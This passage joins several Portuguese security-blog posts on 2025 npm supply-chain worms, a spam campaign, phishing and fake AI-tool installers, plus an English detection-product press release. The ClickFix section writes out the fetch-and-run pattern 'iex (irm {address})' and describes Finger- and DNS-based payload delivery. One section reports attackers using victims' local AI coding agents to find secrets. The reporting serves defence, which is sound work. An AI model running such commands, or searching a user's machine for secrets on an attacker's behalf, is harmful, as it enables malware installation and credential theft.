A mesma tática de phishing foi usada contra outros desenvolvedores. Os invasores aproveitaram várias contas de desenvolvedores comprometidas para distribuir diferentes variantes de sua carga maliciosa. Há também uma forte suspeita de que eles podem ter guardado parte dessa carga para ataques futuros.

Agosto de 2025: o ataque s1ngularity e o vazamento de centenas de segredos dos desenvolvedores

No final de agosto, um incidente apelidado de “s1ngularity” continuou a tendência de atingir desenvolvedores de JavaScript. Os invasores comprometeram o Nx, um sistema de compilação popular e uma ferramenta de otimização de pipeline de CI/CD. O código malicioso injetado nos pacotes pesquisou diversos sistemas dos desenvolvedores infectados, acessando uma grande quantidade de dados confidenciais, como chaves de carteiras de criptomoedas, tokens do npm e do GitHub, chaves SSH, chaves de API e muito mais.

Curiosamente, os invasores usaram ferramentas de IA instaladas localmente, como Claude Code, Gemini CLI e Amazon Q, para detectar os segredos nas máquinas das vítimas. Tudo o que eles encontraram foi publicado nos repositórios públicos do GitHub criados em nome das vítimas, usando os títulos “s1ngularity-repository”, “s1ngularity-repository-0” e “s1ngularity-repository-1”. Como você deve ter adivinhado, é daí que vem o nome do ataque.

Consequentemente, os dados privados de centenas de desenvolvedores acabaram ficando à vista de todos e poderiam ser acessados não apenas pelos invasores, mas por absolutamente qualquer pessoa com uma conexão com a Internet.

Setembro de 2025: um stealer de criptomoedas ataca pacotes npm que têm 2,6 bilhões de downloads semanais

A tendência de comprometimentos de pacotes npm seguiu até setembro. Após uma nova campanha de phishing direcionada a desenvolvedores de JavaScript, os invasores conseguiram injetar código malicioso em algumas dezenas de projetos de alto nível. Alguns deles, especificamente “chalk” e “debug”, tiveram centenas de milhões de downloads semanais; coletivamente, os pacotes infectados estavam acumulando mais de 2,6 bilhões de downloads por semana no momento da violação, e eles se tornaram mais populares desde então.

A carga era um stealer de criptomoedas: um malware projetado para interceptar transações de criptomoeda e redirecioná-las para as carteiras dos invasores. Felizmente, apesar de infectar com sucesso alguns dos projetos mais populares do mundo, os invasores acabaram falhando no estágio final da operação. No final, eles ficaram com míseros USD 925.

Apenas uma semana depois, outro grande incidente ocorreu: a primeira onda do malware autopropagável Shai-Hulud, que infectou cerca de 150 pacotes npm, incluindo projetos da CrowdStrike. No entanto, a segunda onda, que ocorreu vários meses depois, provou ser muito mais destrutiva. Vamos analisar o Great Worm em mais detalhes a seguir.

Outubro de 2025: o GlassWorm infecta o ecossistema do Visual Studio Code

Cerca de um mês após o ataque do Shai-Hulud, um malware autopropagável semelhante denominado GlassWorm começou a infectar extensões do Visual Studio Code no Open VSX Registry e no Microsoft Extension Marketplace. Os invasores estavam procurando contas do GitHub, Git, npm e Open VSX, bem como chaves de carteiras de criptomoedas.

Os criadores do GlassWorm adotaram uma abordagem altamente criativa para sua infraestrutura de comando e controle: eles usaram uma carteira de criptomoedas no blockchain Solana como seu C2 principal, com o Google Agenda servindo como um canal de comunicação de backup.

Além de esvaziar as carteiras de criptomoedas das vítimas e sequestrar suas contas para espalhar o worm ainda mais, os invasores também injetaram um RAT chamado Zombi nos dispositivos infectados, obtendo controle total sobre os sistemas comprometidos.

Novembro de 2025: a campanha IndonesianFoods e 150 mil pacotes de spam no npm

Em novembro, um novo incômodo emergiu do repositório do npm. Uma campanha maliciosa coordenada apelidada de IndonesianFoods fez os invasores inundarem o repositório com dezenas de milhares de pacotes inúteis.

O objetivo principal era jogar com o sistema para inflar as métricas e os tokens de farm no tea.xyz, uma plataforma de blockchain projetada para recompensar os desenvolvedores de código aberto. Para conseguir isso, os invasores construíram uma enorme rede de projetos interdependentes com nomes que fazem referência à culinária indonésia, como zul-tapai9-kyuki e andi-rendang23-breki.

Os criadores da campanha não se deram ao trabalho de invadir contas. Estritamente falando, os pacotes de spam nem sequer continham um contêiner malicioso, a menos que você considere um script projetado para gerar automaticamente novos contêineres a cada sete segundos. No entanto, o incidente serviu como um lembrete de como a infraestrutura npm é vulnerável a campanhas de spam em larga escala.

Dezembro de 2025: Shai-Hulud 2.0 e o vazamento de 400 mil segredos de desenvolvedores

O destaque absoluto do ano, não apenas de ataques a cadeias de suprimentos, mas provavelmente para todo o campo de segurança cibernética, foi o malware autopropagável Shai-Hulud (também conhecido como Sha1-Hulud) contra desenvolvedores.

Esse malware foi a evolução lógica do ataque s1ngularity mencionado anteriormente: ele também vasculhou os sistemas em busca de todos os tipos de segredos e os publicou em repositórios GitHub abertos. No entanto, o Shai-Hulud adicionou um mecanismo de autopropagação à linha de base: o worm infectou projetos controlados por desenvolvedores já comprometidos usando as credenciais roubadas.

A primeira onda do Shai-Hulud ocorreu em setembro, infectando várias centenas de pacotes npm. No final do ano, a segunda onda chegou e foi batizada como Shai-Hulud 2.0.

Dessa vez, o worm foi atualizado com a funcionalidade de wiper. Se o malware não encontrasse tokens npm ou GitHub válidos em um sistema infectado, ele acionava uma carga destrutiva que apagava os arquivos do usuários.

Aproximadamente 400 mil segredos foram vazados no total como resultado do ataque. Vale a pena notar que, assim como no s1ngularity, todos os dados confidenciais acabaram publicados em repositórios públicos, onde poderiam ser baixados não apenas pelos invasores, mas por qualquer outra pessoa. E é altamente provável que as consequências desse ataque ainda sejam sentidas por um longo tempo.

Um dos primeiros casos confirmados de uma exploração usando segredos vazados pelo Shai-Hulud foi um roubo de criptomoeda visando vários milhares de usuários da Trust Wallet. Os invasores usaram esses segredos na véspera de Natal para carregar uma versão maliciosa da extensão Trust Wallet com um drenador de criptomoedas integrado para a Chrome Web Store. No final, eles conseguiram se safar com USD 8,5 milhões em criptomoedas.

Como se proteger contra ataques a cadeias de suprimentos

Ao elaborar uma retrospectiva semelhante para 2024, descobrimos que manter uma estrutura de “um mês, uma ameaça” é bastante fácil. Para 2025, no entanto, o caso foi muito mais grave. Houve tantos ataques maciços a cadeias de suprimentos no ano passado, que não conseguimos encaixá-los em uma visão geral.

O ano de 2026 está se mostrando igualmente intenso, por isso recomendamos verificar nossa postagem sobre a prevenção de ataques a cadeias de suprimentos. Enquanto isso, aqui estão as conclusões mais importantes:

• Avalie minuciosamente seus fornecedores e faça uma auditoria cuidadosa do código que você integra em seus projetos.
• Implemente requisitos de segurança rígidos diretamente em seus contratos de serviço.
• Desenvolva um plano abrangente de resposta a incidentes.
• Monitore atividades suspeitas em sua infraestrutura corporativa usando uma solução de XDR.
• Se a sua equipe de segurança interna estiver sobrecarregada, procure um serviço externo de identificação proativa de ameaças e resposta rápida.

Se quiser saber mais detalhes sobre os ataques a cadeias de suprimentos, confira o nosso relatório analítico Supply chain reaction: securing the global digital ecosystem in an age of interdependence (Reação em cadeia de suprimentos: proteção ao ecossistema digital global em uma era de interdependência). Ele se baseia em insights de especialistas técnicos e revela com que frequência as organizações enfrentam riscos relacionados à cadeia de suprimentos e a relações de confiança, onde ainda existem lacunas de proteção e quais estratégias adotar para aumentar a resiliência contra esse tipo de ameaça.

O que as palavras bakso, sate e rendang trazem à mente? Para muitos, a resposta é “nada”; os amantes da gastronomia as reconhecerão como alimentos básicos da Indonésia. Já aqueles que seguem as notícias de segurança cibernética se lembrarão de um ataque ao ecossistema Node Package Manager (npm), a ferramenta que permite que os desenvolvedores usem bibliotecas pré-formatadas em vez de escrever cada linha de código do zero.

Em meados de novembro, o pesquisador de segurança Paul McCarty relatou a descoberta de uma campanha de spam destinada a sobrecarregar o repositório do npm. É claro que pacotes sem sentido já apareceram no repositório antes, mas, neste caso, dezenas de milhares de módulos foram encontrados sem nenhuma utilidade. O único objetivo deles era injetar dependências completamente desnecessárias em projetos.

Os nomes dos pacotes apresentavam nomes de pratos indonésios e termos culinários inseridos de forma aleatória, como bakso, sate e rendang, o que levou a campanha a receber o apelido “IndonesianFoods”. A escala foi impressionante: no momento da descoberta, aproximadamente 86 mil pacotes haviam sido identificados.

Abaixo, veremos como isso aconteceu e o que os invasores estavam realmente procurando.

Dentro da IndonesianFoods

À primeira vista, os pacotes da IndonesianFoods não pareciam lixo óbvio. Eles apresentavam estruturas padrão, arquivos de configuração válidos e até mesmo documentação bem formatada. De acordo com pesquisadores do Endor Labs, essa camuflagem permitiu que os pacotes permanecessem no repositório do npm por quase dois anos.

Não é como se os invasores tentassem a todo custo inserir suas criações em projetos externos. Em vez disso, eles simplesmente inundaram o ecossistema com um código de aparência legítima, esperando que alguém cometesse um erro de digitação ou selecionasse por engano sua biblioteca nos resultados da pesquisa. Não está claro exatamente o que alguém precisaria estar procurando para confundir um nome de pacote com um prato indonésio, mas a pesquisa original observa que pelo menos 11 projetos de alguma forma incluíram esses pacotes em suas compilações.

Uma pequena parte desses pacotes inúteis tinha um mecanismo de autorreplicação incorporado: uma vez instalados, eles criariam e publicariam novos pacotes no repositório do npm a cada sete segundos. Esses novos módulos apresentavam nomes aleatórios (também relacionados à culinária indonésia) e números de versão. Todos publicados, como seria de esperar, usando as credenciais da vítima.

Outros pacotes maliciosos integrados à plataforma blockchain TEA. O projeto TEA foi concebido para recompensar criadores de código aberto com tokens em proporção à popularidade e ao uso de suas criações, teoricamente operando em um modelo de “prova de contribuição”.

Uma parte significativa desses pacotes não continha funcionalidade real, mas muitas vezes carregavam uma dúzia de dependências que, como você pode imaginar, apontavam para outros projetos de spam dentro da mesma campanha. Assim, se uma vítima incluir por engano um desses pacotes maliciosos, ele carregará consigo diversos outros, alguns dos quais terão suas próprias dependências. O resultado é um projeto final com uma enorme quantidade de código redundante.

O que os invasores ganham com isso?

Há duas teorias principais. O mais óbvio é que toda essa elaborada campanha de spam foi projetada para explorar o protocolo TEA mencionado acima. Essencialmente, sem fazer nenhuma contribuição útil para a comunidade de código aberto, os invasores ganham tokens TEA, ou seja, ativos digitais padrão que podem ser trocados por outras criptomoedas em plataformas de negociação. Usando uma rede de dependências e mecanismos de autorreplicação, os invasores se passam por desenvolvedores de código aberto legítimos para inflar artificialmente a significância e as métricas de uso de seus pacotes. Nos arquivos README de determinados pacotes, os invasores até se gabam de seus ganhos.

No entanto, há uma teoria mais assustadora. Por exemplo, o pesquisador Garrett Calpouzos sugere que o que estamos vendo é apenas uma prova de conceito. A campanha da IndonesianFoods pode estar testando um novo método de entrega de malware destinado a ser vendido posteriormente a outros agentes de ameaças.

Por que você não quer lixo em seus projetos

À primeira vista, o perigo para as organizações de desenvolvimento de software pode não ser óbvio: com certeza, a IndonesianFoods desordena o ecossistema, mas não parece carregar uma ameaça imediata, como ransomware ou violações de dados.  No entanto, as dependências redundantes sobrecarregam o código e desperdiçam recursos no sistema do desenvolvedor. Além disso, pacotes inúteis publicados sob o nome de sua organização podem prejudicar seriamente sua reputação dentro da comunidade de desenvolvedores.

Também não podemos descartar a teoria de Calpouzos. Se esses pacotes de spam incorporados ao seu software receberem uma atualização que introduza uma funcionalidade realmente maliciosa, eles podem se tornar uma ameaça não apenas para a sua organização, mas também para seus usuários, evoluindo para um ataque completo à cadeia de suprimentos.

Como proteger sua organização

Os pacotes de spam não entram em um projeto sozinhos; sua instalação ocorre em um momento de distração do desenvolvedor. Portanto, recomendamos conscientizar regularmente os funcionários, mesmo os mais experientes, sobre as ameaças cibernéticas modernas. Nossa plataforma interativa de treinamento, a KASAP (Kaspersky Automated Security Awareness Platform), pode ajudar.

Além disso, você pode impedir a infecção usando uma solução especializada para proteger ambientes conteinerizados. Ela faz a verificação de imagens e dependências de terceiros, integra-se ao processo de compilação e monitora contêineres durante o tempo de execução.

Se quiser saber mais detalhes sobre os ataques contra a cadeia de suprimentos, deixamos aqui o nosso convite para consultar o relatório analítico Supply chain reaction: securing the global digital ecosystem in an age of interdependence (Reação em cadeia de suprimentos: proteção do ecossistema digital global em uma era de interdependência). Ele é baseado em insights de especialistas técnicos e revela com que frequência as organizações enfrentam riscos de cadeia de suprimentos e de relacionamento confiável e como estes são percebidos.

Uma variedade de criadores de aplicativos com tecnologia de IA promete dar vida às suas ideias com rapidez e facilidade. Infelizmente, sabemos exatamente quem está sempre à procura de novas ideias para dar vida, principalmente porque somos muito bons em identificar e bloquear as antigas. Estamos falando de phishers, é claro. Recentemente, descobrimos que eles adicionaram um novo truque ao seu arsenal: gerar sites usando o criador de aplicativos da Web com tecnologia IA Bubble. É muito provável que essa tática já esteja disponível em uma ou mais plataformas de phishing como serviço, o que praticamente garante que essas armadilhas começarão a aparecer em uma ampla variedade de ataques. Mas vamos detalhar em etapas.

Por que os phishers estão usando o Bubble?

Incluir um link direto para um site de phishing em um e-mail é um caminho sem volta para o fracasso. Há uma grande probabilidade de a mensagem nem chegar ao destino, pois os filtros de segurança provavelmente a bloquearão antes que o usuário a veja. Da mesma forma, o uso de redirecionamentos automatizados já está no radar das soluções de segurança modernas. E os QR codes? Embora fazer com que a vítima escaneie um código com o celular, em vez de clicar em um link, possa funcionar em teoria, os phishers inevitavelmente perdem tráfego nessa etapa: nem todo mundo está disposto a inserir credenciais corporativas em um dispositivo pessoal. É aqui que os serviços automatizados de geração de código socorrem os cibercriminosos.

O Bubble se posiciona como uma plataforma no-code para o desenvolvimento de aplicativos da Web e móveis. Essencialmente, um usuário descreve o que precisa em uma interface visual e a plataforma gera uma solução finalizada. Os phishers adotaram essa tecnologia para criar aplicativos da Web cujos endereços, depois, eles incorporam em seus e-mails de phishing. Embora a função real desses aplicativos se resuma ao mesmo antigo redirecionamento automatizado para um site malicioso, há algumas nuances específicas em jogo.

Primeiro, o aplicativo da Web resultante é hospedado diretamente nos servidores da plataforma. O URL pronto para uso em um e-mail de phishing se parece com https://%name%.bubble.io/. Do ponto de vista das soluções de segurança, parece ser um site legítimo e antigo.

Em segundo lugar, o código desse aplicativo da Web não se parece com um redirecionamento típico. Para ser honesto, é difícil dizer com o que ele se parece. O código gerado por essa plataforma no-code é uma enorme mistura de JavaScript e estruturas isoladas de Shadow DOM (Document Object Model). Mesmo para um especialista, é difícil entender o que está acontecendo à primeira vista; é preciso analisar o código a fundo para entender como tudo funciona e com qual objetivo. Os algoritmos automatizados de análise de código da Web têm ainda mais chances de falhar, frequentemente chegando ao veredicto de que é apenas um site funcional e útil.

Um fragmento de código de aplicativo da Web hospedado na plataforma Bubble

O que são essas plataformas de phishing e qual é o objetivo?

Os phishers atuais raramente desenvolvem e implementam novos truques do zero. A maioria usa kits de phishing, essencialmente pacotes do tipo “faça você mesmo o seu esquema fraudulento”, ou até mesmo plataformas de phishing como serviço em larga escala.

Essas plataformas fornecem aos invasores um kit de ferramentas sofisticado (e altamente frustrante) que está em constante evolução para melhorar a entrega de e-mail e burlar as defesas antiphishing. Por exemplo, essas ferramentas permitem que os invasores, entre muitas outras coisas, façam o seguinte: interceptem cookies de sessão; realizem phishing pelo Google Tarefas (uma tática que abordamos em uma postagem anterior); executem ataques de intermediário (AiTM) para validar a autenticação de dois fatores (2FA) e burlá-la em tempo real; criem sites de phishing equipados com honeypots e geofencing para se esconder dos rastreadores de segurança; e usem assistentes de IA para gerar e-mails de phishing únicos. Para piorar a situação, a infraestrutura dessas plataformas geralmente é hospedada em serviços perfeitamente legítimos como AWS, tornando suas táticas ainda mais difíceis de detectar.

As mesmas plataformas são usadas para criar a página de destino final que coleta credenciais. Nesse caso específico, o aplicativo da Web hospedado no Bubble redireciona as vítimas para um site com uma verificação da Cloudflare que imita a janela de login da Microsoft.

Formulário de phishing projetado para coletar credenciais corporativas

Aparentemente, no universo paralelo dos invasores, o Skype ainda é uma ferramenta de comunicação viável, mas fora isso, o site é bastante convincente.

Como proteger a sua empresa contra ataques de phishing sofisticados

No cenário digital atual, os funcionários precisam entender que as credenciais corporativas devem ser inseridas apenas em serviços e sites que inegavelmente pertencem à empresa. Você pode conscientizar sua equipe sobre ameaças cibernéticas modernas usando a Kaspersky Automated Security Awareness Platform para treinamento on-line.

É claro que até o funcionário mais cauteloso pode ocasionalmente morder a isca. Recomendamos equipar todas as estações de trabalho conectadas à Internet com soluções de segurança robustas que simplesmente bloquearão qualquer tentativa de visitar um site malicioso. Por fim, para reduzir o número de e-mails perigosos que ocupam as caixas de entrada corporativas, sugerimos implementar um produto de segurança de gateway com tecnologias antiphishing avançadas.

Recentemente, discutimos como os agentes maliciosos estão espalhando o infostealer AMOS para macOS por meio do Google Ads, utilizando um chat com um assistente de IA no site real da OpenAI para hospedar instruções maliciosas. Decidimos investigar mais a fundo e identificamos várias campanhas maliciosas semelhantes, nas quais invasores distribuem malware disfarçado de ferramentas populares de IA por meio de anúncios na Pesquisa Google. Se as vítimas estiverem procurando por ferramentas específicas do macOS, a carga implementada será o mesmo AMOS; se estiverem no Windows, será o infostealer Amatera. Essas campanhas usam a popular IA chinesa Doubao, o assistente de IA viral OpenClaw ou o assistente de codificação Claude Code como isca. Isso significa que essas campanhas representam uma ameaça não apenas para usuários domésticos, mas também para organizações.

A realidade é que os funcionários corporativos estão usando cada vez mais assistentes de codificação, como o Claude Code, e agentes de automação de fluxo de trabalho, como o OpenClaw. Isso gera seus próprios riscos e é por isso que muitas organizações ainda precisam aprovar ou pagar pelo acesso a essas ferramentas. Como consequência, alguns funcionários tomam a iniciativa para encontrar por conta própria essas ferramentas modernas e vão direto ao Google. Eles digitam um termo de pesquisa e recebem um link patrocinado que leva a um guia de instalação malicioso. Vamos analisar mais de perto como esse ataque acontece, usando como exemplo uma campanha de distribuição do Claude Code descoberta no início de março.

O termo de pesquisa

Um usuário começa a procurar um local para baixar o agente Anthropic e digita algo como “Baixar Claude Code” na barra de pesquisa. O mecanismo de pesquisa retorna uma lista de links, com “links patrocinados” (anúncios pagos) no topo. Um desses anúncios leva o usuário a uma página maliciosa com documentação falsa. Curiosamente, o site em si é construído no Squarespace, um construtor de sites legítimo que ajuda o site dos invasores a ignorar os filtros antiphishing.

Resultados da pesquisa com anúncios na Romênia e no Brasil

O site dos invasores imita meticulosamente a documentação original do Claude Code, incluindo instruções de instalação. Assim como o negócio real, ele solicita que o usuário copie e execute um comando. No entanto, uma vez executado, ele não instala um agente de IA, mas um malware. Essencialmente, esse é apenas outro tipo de ataque ClickFix, que ganhou seu próprio apelido: InstallFix.

Site malicioso que imita as instruções de instalação

Site genuíno do Claude Code com instruções de instalação

Carga maliciosa

Assim como no Claude Code original, o comando para macOS tenta instalar um aplicativo usando o utilitário de linha de comando curl. Na realidade, ele implementa o spyware AMOS, já descrito por nossos especialistas no Securelist, que foi usado em uma campanha anterior semelhante.

No caso do Windows, o malware é instalado usando o utilitário do sistema mshta.exe, que executa aplicativos baseados em HTML em vez de curl, que é usado para o Claude Code genuíno. Esse utilitário implementa o Infostealer Amatera, que coleta dados do navegador, informações da carteira de criptomoedas, bem como informações da pasta do usuário, e os envia para um servidor remoto em 144{.}124.235.102.

Como manter sua empresa segura

O interesse em agentes de IA continua a crescer, e o surgimento de novas ferramentas e sua crescente popularidade estão criando novos vetores de ataque. Especificamente, buscar ferramentas de IA de terceiros pode comprometer o código-fonte local, mas também levar ao comprometimento de segredos, arquivos corporativos confidenciais e contas de usuário.

Para evitar que isso aconteça, a primeira etapa deve ser educar os funcionários sobre esses perigos e os truques usados pelos agentes de ameaças. Isso pode ser feito usando nossa plataforma de treinamento: Kaspersky Automated Security Awareness. Ela também inclui uma lição especializada sobre o uso de IA em ambientes corporativos.

Além disso, recomendamos proteger todos os dispositivos corporativos usando soluções comprovadas de segurança cibernética.

Também sugerimos verificar nosso artigo publicado anteriormente sobre três abordagens para minimizar os riscos do uso de “Shadow AI”.

BOSTON, MA — March 12, 2026 — SOC Prime today announced the release of DetectFlow Enterprise, a solution that brings real-time threat detection to the ingestion layer, turning data pipelines into detection pipelines.

Running tens of thousands of Sigma detections on live Kafka streams with millisecond MTTD using Apache Flink, DetectFlow Enterprise enables security teams to detect, tag, enrich, and correlate threat data in flight before data reaches downstream systems such as SIEM, EDR, and Data Lakes. This gives organizations a way to expand detection coverage earlier in the processing flow, enrich security telemetry before downstream analysis, and scale detection on infrastructure they already have.

As detection volumes continue to grow, many SOC teams face the same set of operational challenges, such as delayed detections, rising ingestion costs, infrastructure bottlenecks, fragmented visibility across tools, and difficulty scaling rule coverage without adding more operational overhead. DetectFlow Enterprise is designed to address those pressures by moving detection closer to the data pipeline itself, where events can be inspected, enriched, and correlated in real time.

This release reflects a practical shift in how detection is operationalized. Rather than treating the pipeline as a transport layer alone, DetectFlow Enterprise turns it into an active part of the detection workflow. Teams can manage detections from cloud or local sources, stage and validate updates, and roll out changes safely with full traceability and zero downtime. This new architectural approach also establishes DetectFlow Enterprise as a foundation for unified CI/CD workflows across the SOC Prime Platform, supporting more scalable and efficient security operations.

Teams can also run thousands of detections directly on streaming pipelines with real-time visibility and in-flight tagging and enrichment. They can correlate events across multiple log sources at the pre-SIEM stage, helping surface the attack chains that matter in real time while reducing noise and false positives.

By performing correlation before data reaches the SIEM, DetectFlow Enterprise allows teams to evaluate full telemetry streams against thousands of rules without the performance and cost trade-offs of downstream ingestion. Built on SOC Prime’s Detection Intelligence dataset, shaped by 11 years of continuous threat research and detection engineering, DetectFlow uses Flink Agent to assemble detections, events, and relevant active threat context for AI-powered analysis. This helps security teams surface high-confidence attack chains, improve investigative clarity, and accelerate response to critical threats.

I have spent most of my career working across threat detection, SIEM, EDR, and SOC operations, and one challenge remained constant. Detection logic was always constrained by the performance and economics of the underlying stack. With DetectFlow Enterprise, we are giving teams a way to move beyond those constraints by turning the data pipeline into an active detection layer, running rules at stream speed, enriching telemetry in flight, and helping organizations scale detection without rearchitecting the rest of their security environment.

Andrii Bezverkhyi, CEO and Founder of SOC Prime

DetectFlow is designed to work with existing ingestion architecture, requiring no changes to established SIEM workflows. It supports both air-gapped and cloud-connected deployments, allowing organizations to keep data under their control while extending detection across the broader security ecosystem. It can achieve an MTTD of 0.005–0.01 seconds and help organizations increase rule capacity on existing infrastructure by up to ten times.

About SOC Prime

SOC Prime has built and operates the world’s largest AI-Native Detection Intelligence Platform for SOC teams. Trusted by over 11,000 organizations, the company delivers real-time, cross-platform detection intelligence that helps security teams to anticipate, detect, validate, and respond to cyber threats faster and more effectively.

Pioneering Security-as-Code approach, SOC Prime’s Detection Intelligence is applied to over 56 SIEM, EDR, Data Lake, and Data Pipeline platforms. The company continuously improves its breadth and quality of threat coverage, shipping top-quality signals for AI SOCs and security analysts.

For more information, visit https://socprime.com or follow us on LinkedIn & X.

The post SOC Prime Launches DetectFlow Enterprise To Enhance Security Data Pipelines with Agentic AI appeared first on SOC Prime.

Há cerca de um ano, publicamos uma postagem sobre a técnica ClickFix, que estava ganhando popularidade entre os invasores. A essência dos ataques usando o ClickFix é convencer a vítima, sob vários pretextos, a executar um comando malicioso em seu computador. Ou seja, do ponto de vista das soluções de segurança cibernética, ele é executado em nome do usuário ativo e com seus privilégios.

Nos primeiros usos dessa técnica, os cibercriminosos tentavam convencer as vítimas de que elas precisavam executar um comando para corrigir algum problema ou passar por um captcha e, na grande maioria dos casos, o comando malicioso era um script do PowerShell. No entanto, desde então, os invasores criaram uma série de novos truques sobre os quais os usuários devem ser avisados, bem como uma série de novas variantes de entrega de carga maliciosa, que também merecem atenção.

Uso de mshta.exe

No ano passado, os especialistas da Microsoft publicaram um relatório sobre ataques cibernéticos direcionados a proprietários de hotéis que trabalham com a Booking.com. Os invasores enviaram notificações falsas do serviço ou e-mails fingindo ser de hóspedes chamando a atenção para uma avaliação. Em ambos os casos, o e-mail continha um link para um site imitando o site Booking.com, que pedia à vítima para provar que não era um robô executando um código pelo menu Executar.

Há duas diferenças principais entre esse ataque e o ClickFix. Primeiro, ninguém pede para o usuário copiar a string (afinal, uma string com código às vezes levanta suspeitas). Ela é copiada para a área de transferência pelo site malicioso, provavelmente quando o usuário clica em uma caixa de seleção que imita o mecanismo reCAPTCHA. Em segundo lugar, a string maliciosa invoca o utilitário mshta.exe legítimo, que serve para executar aplicativos escritos em HTML. Ele entra em contato com o servidor dos invasores e executa a carga maliciosa.

Vídeo no TikTok e PowerShell com privilégios de administrador

A BleepingComputer publicou um artigo em outubro de 2025 sobre uma campanha que espalha malware por meio de instruções em vídeos do TikTok. Os próprios vídeos imitam tutoriais sobre como ativar software proprietário gratuitamente. O conselho que fornecem se resume à necessidade de executar o PowerShell com privilégios de administrador e, em seguida, executar o comando iex (irm {address}). Aqui, o comando irm baixa um script malicioso de um servidor controlado por invasores e o comando iex (Invoke-Expression) o executa. O script, por sua vez, baixa um malware infostealer para o computador da vítima.

Uso do protocolo Finger

Outra variante incomum do ataque ClickFix usa o conhecido truque do captcha, mas o script malicioso usa o antigo protocolo Finger. O utilitário de mesmo nome permite que qualquer pessoa solicite dados sobre um usuário específico em um servidor remoto. Hoje, o protocolo raramente é usado, mas ainda é compatível com Windows, macOS e diversos sistemas baseados em Linux.

O usuário é persuadido a abrir a interface da linha de comando e usá-la para executar um comando que estabelece uma conexão pelo protocolo Finger (usando a porta TCP 79) com o servidor do invasor. O protocolo transfere apenas informações de texto, mas isso é suficiente para baixar outro script para o computador da vítima, que então instala o malware.

Variante CrashFix

Outra variante do ClickFix difere por usar engenharia social mais sofisticada. Ela foi usada em um ataque a usuários que tentavam encontrar uma ferramenta para bloquear banners de publicidade, rastreadores, malware e outros conteúdos indesejados em páginas da web. Ao procurar uma extensão adequada para o Google Chrome, as vítimas encontraram algo chamado NexShield – Advanced Web Guardian, que na verdade era um clone de um software real funcional, mas que em algum momento travava o navegador e exibia uma notificação falsa sobre um problema de segurança detectado e a necessidade de executar uma “verificação” para corrigir o erro. Se o usuário concordasse, ele recebia instruções sobre como abrir o menu Executar e digitar um comando que a extensão havia copiado anteriormente para a área de transferência.

O comando copiava o arquivo finger.exe conhecido para um diretório temporário, o renomeava como ct.exe e, em seguida, iniciava-o com o endereço do invasor. O resto do ataque era idêntico ao caso anterior. Em resposta à solicitação do protocolo Finger, um script malicioso era entregue, que iniciava e instalava um trojan de acesso remoto (neste caso, ModeloRAT).

Entrega de malware por consulta DNS

A equipe de Inteligência de Ameaças da Microsoft também compartilhou uma variante de ataque ClickFix um pouco mais complexa do que o habitual. Infelizmente, eles não descreveram o truque de engenharia social, mas o método de entregar a carga maliciosa é bastante interessante. Provavelmente para dificultar a detecção do ataque em um ambiente corporativo e prolongar a vida útil da infraestrutura maliciosa, os invasores usaram uma etapa adicional: entrar em contato com um servidor DNS controlado pelos invasores.

Ou seja, depois que a vítima é persuadida de alguma forma a copiar e executar um comando malicioso, uma solicitação é enviada ao servidor DNS em nome do usuário por meio do utilitário nslookup legítimo, solicitando dados para o domínio example.com. O comando continha o endereço de um servidor DNS específico controlado pelos invasores. Ele retorna uma resposta que, entre outras coisas, contém uma string com um script malicioso, que por sua vez baixa a carga útil final (neste ataque, ModeloRAT novamente).

Isca de criptomoeda e JavaScript como carga útil

A próxima variante de ataque é interessante por sua engenharia social de vários estágios. Em comentários no Pastebin, os invasores espalharam ativamente uma mensagem sobre uma suposta falha no serviço de câmbio de criptomoedas Swapzone.io. Os proprietários de criptomoedas recebiam convites para visitar um site criado por fraudadores, que continha instruções completas sobre como explorar uma falha capaz de gerar até US$ 13.000 em poucos dias.

As instruções explicavam como as falhas do serviço podiam ser exploradas para trocar criptomoedas a uma taxa mais favorável. Para fazer isso, a vítima precisava abrir o site do serviço no navegador Chrome, digitar manualmente “javascript:” na barra de endereço, colar o script JavaScript copiado do site do invasor e executá-lo. Na realidade, é claro, o script não podia afetar as taxas de câmbio; ele simplesmente substituía os endereços da carteira Bitcoin e, se a vítima realmente tentasse negociar algo, transferiria os fundos para as contas dos invasores.

Como proteger a sua empresa contra ataques ClickFix

Os ataques mais simples que usam a técnica ClickFix podem ser combatidos pelo bloqueio da combinação de teclas [Win] + [R] em dispositivos de trabalho. Mas, como vemos nos exemplos listados, esse está longe de ser o único tipo de ataque em que os usuários são instruídos a executar código malicioso.

Portanto, o principal conselho é aumentar a conscientização em segurança cibernética dos funcionários. Eles devem entender claramente que, se alguém lhes pedir para executar qualquer manipulação incomum no sistema e/ou copiar e colar um código em algum lugar, na maioria dos casos trata-se de um truque usado pelos cibercriminosos. O treinamento de conscientização de segurança pode ser organizado com a Kaspersky Automated Security Awareness Platform.

Além disso, para se proteger contra esses ataques cibernéticos, recomendamos:

• Usar proteção confiável em todos os dispositivos corporativos.
• Monitorar atividades suspeitas na rede da empresa por meio de uma solução XDR.
• Se os recursos internos forem insuficientes, usar um serviço externo para detectar ameaças e responder a elas prontamente.

Em uma postagem anterior, analisamos um exemplo prático para entender como a atribuição de ameaças ajuda nas investigações de incidentes. Além disso, apresentamos o Kaspersky Threat Attribution Engine (KTAE), a nossa ferramenta usada para fazer uma estimativa sobre qual grupo APT específico pertence uma amostra de malware. Para fazer a demonstração, usamos o Portal do Kaspersky Threat Intelligence, uma ferramenta baseada na nuvem que fornece acesso ao KTAE como parte de nosso serviço abrangente de Análise de Ameaças, juntamente com uma sandbox e uma ferramenta de pesquisa de similaridade sem atribuição. As vantagens de um serviço em nuvem são óbvias: os clientes não precisam investir em hardware, instalar nada ou gerenciar qualquer software. No entanto, assim como indica a experiência do mundo real, a versão na nuvem de uma ferramenta de atribuição não é para todo mundo…

Primeiro, algumas organizações estão sujeitas a restrições regulatórias que proíbem estritamente que quaisquer dados saiam de seu perímetro interno. Para os analistas de segurança dessas empresas, o upload de arquivos para um serviço de terceiros está fora de questão. Em segundo lugar, algumas empresas empregam caçadores de ameaças hardcore que precisam de um kit de ferramentas mais flexível, ou seja, um kit que permita trabalhar com a própria pesquisa proprietária juntamente com a inteligência de ameaças da Kaspersky. É por isso que o KTAE está disponível em duas opções: uma versão baseada na nuvem e uma implementação no local.

Quais são as vantagens do KTAE local em relação à versão na nuvem?

